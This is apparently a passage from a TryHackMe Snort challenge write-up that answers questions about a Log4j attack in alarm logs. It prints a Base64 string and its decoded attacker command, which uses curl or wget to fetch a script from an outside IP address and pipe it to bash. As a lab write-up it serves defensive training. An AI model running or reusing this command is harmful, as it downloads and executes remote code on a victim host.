> 62808 [Reveal Answer](#) #### Question 7 Investigate the logalarm files. Decode the encoded command. What is the attacker's command? ##### Notes The Base64 encoded string is part of the url in question 5 `KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=` it just needs decoding. #### Answer
> (curl -s 45.155.205.233:5874162.0.228.253:80||wget -q -O- 45.155.205.233:5874162.0.228.253:80)|bash [Reveal Answer](#) #### Question 8 What is the CVSS v2 score of the Log4j vulnerability? ##### Notes [NIST cve-2021-44228](https:/nvd.nist.govvulndetailcve-2021-44228) #### Answer
> 9.3 [Reveal Answer](#) ### Conclusion Congratulations! Are you brave enough to stop a live attack in the [Snort2 Challenge 2](https:/tryhackme.comroomsnortchallenges2) room? Check back soon for my write up of Snort Challenge 2.